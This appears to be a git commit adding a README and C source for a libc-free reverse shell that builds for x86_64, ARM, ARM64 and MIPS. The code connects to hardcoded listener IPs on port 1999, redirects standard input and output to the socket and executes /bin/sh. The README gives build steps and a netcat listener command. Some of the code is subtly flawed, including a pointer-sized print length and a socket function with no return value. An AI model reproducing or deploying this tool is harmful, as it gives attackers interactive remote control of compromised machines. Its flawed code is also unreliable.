Upload files to "/"

This commit is contained in:
meer 2026-04-06 18:46:52 +00:00
parent 985fcf3311
commit fa99936407
2 changed files with 223 additions and 2 deletions

View File

@ -1,3 +1,33 @@
# Cshell # CShell
a reverse shell in C made without using libc at all
a reverse shell written in C without using stdlib or libc ## features
1- doesnt use libc at all
2- works on X86 and ARM32 and ARM64 (and untested support for MIPS)
3- can use multiple servers
## how to set up
1- from the project root, run
```Bash
gcc -nostdlib -o bcshell bcdshell.c
```
for additional debug output, run
```Bash
gcc -nostdlib -o bcshell bcdshell.c -DDEBUG
```
to define the DEBUG macro
make sure to put -nostdlib as it has no reliance on libc.
2- on the server, use netcat with
```Bash
nc -lvp 1999
```
3- on the client, run the binary
```Bash
./bcshell
```
and see the shell and run it on the server
## notes
1- supports Linux
2- supports an actual interactive, stateful shell to /bin/sh
3- binary size is less than 20KB
4- works on ANY linux device even without libc at all
5- only supports IPs, not domains

191
bcdshell.c Normal file
View File

@ -0,0 +1,191 @@
/*
NO STDLIB reverse shell
supports X86_64, ARM, ARM64
CAN USE MULTIPLE SERVERS
to compile:
gcc -nostdlib -o bcshell bcdshell.c
(yes, it doesnt use libc, so itll work on a pure linux system with just TCP and syscalls)
to run on the server:
nc -lvp 1999
*/
#define AF_INET 2
#define SOCK_STREAM 1
#if defined (__x86_64__) // the syscall numbers on x86_64
#define SYS_socket 41
#define SYS_connect 42
#define SYS_write 1
#define SYS_exit 60
#define SYS_fork 57
#define SYS_execve 59
#define SYS_pipe 22
#define SYS_read 0
#define SYS_close 3
#define SYS_dup2 33
#define SYS_wait4 61
#define SYS_read 0
#elif defined(__arm__) // the syscall numbers on 32 bit ARM
#define SYS_read 3
#define SYS_write 4
#define SYS_close 6
#define SYS_pipe 42
#define SYS_dup2 63
#define SYS_socket 281
#define SYS_connect 283
#define SYS_fork 2
#define SYS_execve 11
#define SYS_exit 1
#define SYS_wait4 114
#elif defined(__aarch64__) //the syscall numbers on 64-bit ARM
#define SYS_read 63
#define SYS_write 64
#define SYS_close 57
#define SYS_pipe 59
#define SYS_dup2 33 // dup3 is 292, but dup2 is kept for compatibility
#define SYS_socket 198
#define SYS_connect 203
#define SYS_fork 220 // clone is used instead of fork
#define SYS_execve 221
#define SYS_exit 93
#define SYS_wait4 260
#elif defined(__mips__)
#define SYS_read 4003
#define SYS_write 4004
#define SYS_close 4006
#define SYS_pipe 4042
#define SYS_dup2 4063
#define SYS_wait4 4114
#define SYS_exit 4001
#define SYS_fork 4002
#define SYS_execve 4011
#define SYS_socket 4183
#define SYS_connect 4184
#endif
#define CMD_SHELL "/bin/sh"
struct sockaddr_in {
unsigned short sin_family;
unsigned short sin_port;
unsigned int sin_addr;
unsigned char pad[8];
};
//unsigned char pad[8];
// Minimal syscall shim for x86-64, it KINDA works tho
#if defined (__x86_64__)
static long my_syscall(long n, long a1, long a2, long a3,
long a4, long a5, long a6) {
long ret;
register long r10 asm("r10") = a4;
register long r8 asm("r8") = a5;
register long r9 asm("r9") = a6;
asm volatile("syscall"
: "=a"(ret)
: "a"(n), "D"(a1), "S"(a2), "d"(a3),
"r"(r10), "r"(r8), "r"(r9)
: "rcx", "r11", "memory");
return ret;
}
#elif defined(__arm__)
static inline long my_syscall(long n, long a1, long a2, long a3,
long a4, long a5, long a6) {
register long r0 asm("r0") = a1;
register long r1 asm("r1") = a2;
register long r2 asm("r2") = a3;
register long r3 asm("r3") = a4;
register long r4 asm("r4") = a5;
register long r5 asm("r5") = a6;
register long r7 asm("r7") = n;
asm volatile("swi 0"
: "=r"(r0)
: "r"(r0), "r"(r1), "r"(r2), "r"(r3),
"r"(r4), "r"(r5), "r"(r7)
: "memory");
return r0;
}
#elif defined(__aarch64__)
static inline long my_syscall(long n, long a1, long a2, long a3,
long a4, long a5, long a6) {
register long x0 asm("x0") = a1;
register long x1 asm("x1") = a2;
register long x2 asm("x2") = a3;
register long x3 asm("x3") = a4;
register long x4 asm("x4") = a5;
register long x5 asm("x5") = a6;
register long x8 asm("x8") = n;
asm volatile("svc 0"
: "+r"(x0)
: "r"(x1), "r"(x2), "r"(x3),
"r"(x4), "r"(x5), "r"(x8)
: "memory");
return x0;
}
#elif defined (__mips__)
static long my_syscall(long n, long a1, long a2, long a3,
long a4, long a5, long a6) {
long ret;
asm volatile (
"subu $sp, $sp, 16\n\t"
"sw %5, 0($sp)\n\t"
"sw %6, 4($sp)\n\t"
"syscall\n\t"
"addiu $sp, $sp, 16\n\t"
: "=v"(ret)
: "v"(n), "r"(a1), "r"(a2), "r"(a3), "r"(a4), "r"(a5), "r"(a6)
: "$a0", "$a1", "$a2", "$a3", "$sp", "memory"
);
return ret;
}
#endif
void start_shell(int sock);
void print(const char *msg);
int create_socket();
void cleanup(int exitcode);
void _start() { // the first function to run, also the true entry point
struct sockaddr_in servers[] = {
{AF_INET, __builtin_bswap16(1999), 0x0100007F, {0}}, // 127.0.0.1 on port 1999
{AF_INET, __builtin_bswap16(1999), 0xC0A80001, {0}}, // 192.168.0.1 on port 1999
{AF_INET, __builtin_bswap16(1999), 0x0A000001, {0}}, // 10.0.0.1 on port 1999
};
int sock = create_socket();
for (int i = 0; i < sizeof(servers)/sizeof(servers[0]); i++) {
long ret = my_syscall(SYS_connect, sock, (long)&servers[i], sizeof(servers[i]), 0,0,0);
if (ret == 0) {
// success
#ifdef DEBUG
const char *msg = "successfully connected!\n"; // dont know why it only prints success
print(msg);
#endif
start_shell(sock);
break;
}
#ifdef DEBUG
else {
const char *failmsg = "fail\n";
print(failmsg);
}
#endif
}
cleanup(0);
}
void start_shell(int sock) {
// Redirect socket to stdin, stdout, stderr so we get a true interactive terminal
my_syscall(SYS_dup2, sock, 0,0,0,0,0);
my_syscall(SYS_dup2, sock, 1,0,0,0,0);
my_syscall(SYS_dup2, sock, 2,0,0,0,0);
// Exec a persistent shell for a real terminal experience
const char *argv[] = { CMD_SHELL, 0 };
const char *envp[] = { 0 };
my_syscall(SYS_execve, (long)CMD_SHELL, (long)argv, (long)envp, 0,0,0);
// If exec fails, cleanup
cleanup(1);
}
void print(const char *msg) {
my_syscall(SYS_write, 1, (long)msg, sizeof(msg)-1, 0, 0, 0);
return;
}
int create_socket() {
my_syscall(SYS_socket, AF_INET, SOCK_STREAM, 0,0,0,0);
}
void cleanup(int exitcode) { // ye we NEED WRAPPERS, CUZ MANUALLY USING MY_SYSCALL IS GONNA BE A PAIN!
my_syscall(SYS_exit, exitcode,0,0,0,0,0);
}